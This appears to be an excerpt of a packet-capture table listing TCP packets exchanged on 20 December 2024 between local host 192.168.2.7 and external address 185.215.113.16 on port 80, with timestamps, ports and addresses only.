Dec 20, 2024 16:05:39.812577963 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.812597036 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.812639952 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:39.812925100 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.813054085 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.813097000 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:39.855285883 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.855798960 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.855814934 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.855871916 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:39.855954885 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.856000900 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:39.856792927 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.857033014 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.857083082 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:39.857748032 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.858016014 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.858529091 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:39.858834982 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.858850956 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.858891964 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:39.859999895 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.860097885 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.860893011 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.860968113 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:39.861128092 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.861167908 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:39.861874104 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.863001108 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.863015890 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.863066912 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:39.863219976 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.864074945 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.864114046 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:39.864387035 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.864423037 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:39.865025997 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.865695000 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.865902901 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.865946054 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:39.866261959 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.866298914 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:39.866918087 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.867218018 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.867320061 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:39.867979050 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.868124008 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.868994951 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.869048119 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:39.869251013 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.869294882 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:39.870064974 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.870282888 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.871014118 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.871020079 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:39.871794939 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.871961117 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.872009993 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:39.872195959 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.872219086 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.872235060 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:39.873694897 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.873713017 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.873795033 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:39.874304056 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.874371052 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:39.874509096 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.875375986 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.875657082 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.875735044 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:39.876348972 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.876406908 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:39.876631975 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.877490997 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.877787113 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.877852917 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:39.878357887 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.878412008 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:39.878499985 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.879333973 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.879669905 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.879729033 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:39.880352974 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.880413055 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:39.880562067 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.881488085 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.881514072 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.881548882 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:39.882400990 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.882570982 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.882617950 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:39.883373976 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.883445024 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:39.883666992 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.884407997 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.884763002 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.884814978 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:39.885507107 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.885708094 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.885761023 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:39.886524916 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.886656046 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:39.886719942 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.887480974 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.887577057 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.887625933 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:39.888494968 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.888545036 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:39.889076948 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.889489889 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.889559984 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:39.889808893 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.890502930 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.890662909 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.890743971 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:39.891560078 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.891616106 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:39.891794920 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.892705917 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.892986059 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:39.893115044 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.893577099 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.893790007 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.893837929 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:39.894675016 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.894725084 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:39.894799948 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.895680904 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.895944118 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.895989895 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:39.896624088 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.896671057 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:39.896809101 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.897680044 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.898253918 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.898302078 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:39.898689985 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.898734093 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:39.899672031 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.899691105 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.899705887 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.899743080 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:39.900742054 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.900805950 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:39.900819063 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.901710987 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.901731014 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.901777029 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:39.902736902 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.902786970 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:39.902962923 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.903752089 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.903845072 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.903894901 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:39.904830933 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.904882908 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:39.904969931 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.905754089 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.905798912 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:39.905970097 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.906877995 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.906929016 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.906979084 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:39.907819033 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.907857895 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:39.907891989 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.908840895 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.908902884 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:39.908992052 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.909801960 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.909849882 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:39.910023928 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.910795927 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.911067963 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.911127090 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:39.911864042 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.911910057 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:39.912096024 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.912884951 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.913009882 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:39.913016081 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.913975954 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.914510012 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.914557934 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:39.914887905 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.914956093 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:39.915380001 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.915998936 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.916034937 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.916083097 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:39.916980028 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.917752981 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.917812109 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:39.917890072 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.917928934 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:39.918628931 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.918982983 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.918994904 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.919020891 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:39.920027018 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.920110941 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:39.920155048 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.921077013 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.921091080 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.921154976 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:39.922132015 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.922147989 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.922189951 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:39.923214912 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.923228979 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.923276901 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:39.924019098 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.924215078 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.924267054 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:39.925121069 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.925535917 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.925597906 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:39.926074028 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.926120043 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:39.926516056 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.927043915 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.927128077 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.927171946 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:39.928097010 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.928159952 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:39.928323984 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.929222107 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.929416895 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.929467916 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:39.930072069 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.930113077 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:39.930639029 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.931200027 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.931457043 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.931504011 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:39.932166100 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.932233095 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:39.932271004 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.933187962 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.933267117 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.933319092 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:39.934148073 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.934205055 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:39.934273005 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.935182095 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.935399055 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.935467005 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:39.936182976 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.936237097 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:39.936326981 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.937258959 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.937828064 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.937896967 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:39.938245058 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.938257933 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.938303947 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:39.939224005 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.939294100 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:39.939346075 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.940243959 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.940403938 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.940485001 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:39.941273928 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.941530943 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.941606998 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:39.942255020 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.942310095 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:39.942451000 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.943279982 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.943542004 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.943598032 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:39.944382906 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.944442034 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:39.944482088 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.945347071 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.945496082 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.945568085 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:39.946346998 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.946422100 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:39.946501970 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.947344065 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.947525024 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.947593927 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:39.948424101 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:39.948482990 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:40.047147036 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:40.047185898 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:40.047271967 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:40.047307968 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:40.047473907 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:40.047530890 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:40.048317909 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:40.048510075 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:40.048840046 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:40.049434900 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:40.049601078 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:40.049654007 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:40.050502062 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:40.050748110 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:40.051451921 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:40.051513910 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:40.051631927 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:40.052485943 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:40.052551985 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:40.052721024 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:40.052771091 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:40.053452015 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:40.053842068 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:40.054425001 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:40.054485083 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:40.054603100 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:40.054649115 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:40.055428028 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:40.055726051 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:40.055793047 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:40.056457043 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:40.056674957 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:40.057863951 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:40.057919025 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:40.058084011 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:40.058125973 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:40.060303926 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:40.060906887 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:40.060957909 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:40.522769928 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:40.522910118 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:41.125299931 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:41.144429922 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:41.245155096 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:41.245184898 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:41.245255947 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:41.245337963 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:41.264295101 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:41.264318943 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:41.264333010 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:41.264384985 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:41.264384985 CET	49757	80	192.168.2.7	185.215.113.16
Dec 20, 2024 16:05:41.264527082 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:41.264590979 CET	80	49757	185.215.113.16	192.168.2.7
Dec 20, 2024 16:05:41.264604092 CET	80	49757	185.215.113.16	192.168.2.7
